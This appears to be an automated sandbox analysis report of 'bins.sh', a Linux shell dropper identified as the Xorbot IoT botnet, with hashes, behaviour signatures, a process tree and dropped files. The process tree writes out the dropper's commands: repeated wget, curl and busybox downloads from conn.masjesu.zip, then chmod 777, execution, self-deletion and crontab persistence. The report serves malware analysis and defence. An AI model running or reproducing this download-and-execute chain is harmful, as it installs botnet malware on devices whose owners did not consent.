Analysis

  • max time kernel
    138s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/12/2024, 12:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e383a35fbdaa3101cb6dcac434940f6c

  • SHA1

    238b83c8544b6c90523da860f3d56db797407d1c

  • SHA256

    d13a514fd4de018f7cabcf5c26291f41d43207a3da634a190ef9258601b6287c

  • SHA512

    9acb346e3036fb9b3cf72ea34b961177afe6a2a3abf6dfcb611e9bc0dfa06af8030316540485f9417e5df88ba7dd604a013564e71d84ceb238cdd594f9c1b708

  • SSDEEP

    192:5h0JMyypIRiitsPA4JNex5aGVJh47v+5XXw9Z5iitstJNupaGTJh47veXXw9ZFg3:5h5A4JNexTXJNucC

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1521) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 19 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:724
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          ./xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod 777 vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • File and Directory Permissions Modification
            PID:746
          • /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            ./vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Executes dropped EXE
            PID:747
          • /bin/rm
            rm vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:750
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:751
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:753
            • /bin/chmod
              chmod 777 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • File and Directory Permissions Modification
              PID:757
            • /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              ./9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Executes dropped EXE
              PID:758
            • /bin/rm
              rm 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
                PID:760
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:761
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:768
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:777
              • /bin/chmod
                chmod 777 qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • File and Directory Permissions Modification
                PID:781
              • /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                ./qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Executes dropped EXE
                PID:782
              • /bin/rm
                rm qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                  PID:786
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:787
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:815
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:817
                • /bin/chmod
                  chmod 777 iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • File and Directory Permissions Modification
                  PID:818
                • /tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  ./iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:819
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:821
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:822
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:823
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:824
                      • /bin/rm
                        rm iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                        2⤵
                          PID:826
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                          2⤵
                          • System Network Configuration Discovery
                          PID:829
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                          2⤵
                          • System Network Configuration Discovery
                          PID:830
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:831
                        • /bin/chmod
                          chmod 777 crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                          2⤵
                          • File and Directory Permissions Modification
                          PID:832
                        • /tmp/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                          ./crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                          2⤵
                          • Executes dropped EXE
                          PID:833
                        • /bin/rm
                          rm crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                          2⤵
                            PID:835
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/l2f4RZG1hDJfIuKQRVcNTVmTpJrCJY0lJC
                            2⤵
                            • System Network Configuration Discovery
                            PID:836

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /var/spool/cron/crontabs/tmp.elHwoM

                          Filesize

                          210B

                          MD5

                          4bbe61c9128b13f27762f0933bba6c05

                          SHA1

                          62dd85be4ec53724df280e08bd8162b1d35adfa7

                          SHA256

                          1d1ad4235f9372501cc0fc055d88ff73eab1260bd3215a975572617adb72cd58

                          SHA512

                          e8a3fec7cdd19c1a7b08629d9b4d946556e4c9d9a3ec9ce0bf938b955e9ae5df48eb418ab2caada72bb6bbabdbc56ca8b7747b01ba2bc320413acec50f868388